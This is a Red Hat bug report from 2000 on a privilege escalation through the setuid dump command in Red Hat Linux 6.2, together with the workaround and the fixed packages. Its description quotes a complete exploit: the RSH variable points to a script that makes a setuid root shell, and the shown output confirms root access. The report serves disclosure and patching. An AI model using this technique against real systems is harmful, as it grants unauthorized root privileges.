Bug 20111 - RH6.2 dump SUID exploit (via RSH env. var)
Summary: RH6.2 dump SUID exploit (via RSH env. var)
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: dump
Version: 6.2
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Nalin Dahyabhai
QA Contact: Dale Lovelace
Keywords: Security
: 20112 20565 (view as bug list)
Depends On:
TreeView+ depends on / blocked
Reported: 2000-10-31 17:52 UTC by Philip Rowlands
Modified: 2007-03-27 03:37 UTC (History)
1 user (show)

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Last Closed: 2000-11-03 03:08:22 UTC

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Description Philip Rowlands 2000-10-31 17:52:26 UTC
This from Bugtraq. Tested, works :(

1. Problem:
Linux dump command executes external program with suid priviledge.

2. Tested Version

3. Example
[mat@localhost mat]$ export TAPE=garbage:garbage
[mat@localhost mat]$ export RSH=/home/mat/execute_this
[mat@localhost mat]$ cat > /home/mat/execute_this
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh
[mat@localhost mat]$ chmod 755 /home/mat/execute_this
[mat@localhost mat]$ /sbin/dump -0 /
  DUMP: Connection to garbage established.
  DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
  DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
 [mat@localhost mat]$ ls -la /home/mat/sh
 -rwsr-xr-x    1 root     tty        316848 Oct 31 14:38 /home/mat/sh
 [mat@localhost mat]$ /home/mat/sh
 bash# id
 uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)

Comment 1 Philip Rowlands 2000-10-31 18:11:49 UTC
Advise for anyone who needs a quick fix: either remove the package, if you don't
need it (rpm -e dump), or remove the SUID bit from /sbin/dump *and*
/sbin/restore (restore(8) lists the same RSH variable).

Comment 2 Daniel Roesen 2000-10-31 20:56:29 UTC
*** Bug 20112 has been marked as a duplicate of this bug. ***

Comment 3 Jeff Johnson 2000-11-01 21:25:39 UTC
Fixed in dump-0.4b19-5.

Comment 4 Daniel Roesen 2000-11-03 02:11:25 UTC
dump-static suffers obviously from the same problem, so an errata update is
needed for this package, too. Reopening.

Comment 5 Daniel Roesen 2000-11-03 03:08:19 UTC
The advisory mentiones update RPMs for dump-static and rmt, but they are not on

Comment 6 Daniel Roesen 2000-11-03 18:48:37 UTC
19:48:40 `SRPMS/dump-0.4b19-5.6x.src.rpm' size = 166647 has new time, getting
19:48:41 `i386/dump-0.4b19-5.6x.i386.rpm' size = 88538 has new time, getting
19:48:41 `i386/dump-static-0.4b19-5.6x.i386.rpm' size = 426967 is missing,
19:48:41 `i386/rmt-0.4b19-5.6x.i386.rpm' size = 12550 is missing, getting.

ok, so the dump errata was re-issued, now with dump-static & rmt. Closing bug.

Comment 7 Jeff Johnson 2000-11-09 13:15:18 UTC
*** Bug 20565 has been marked as a duplicate of this bug. ***

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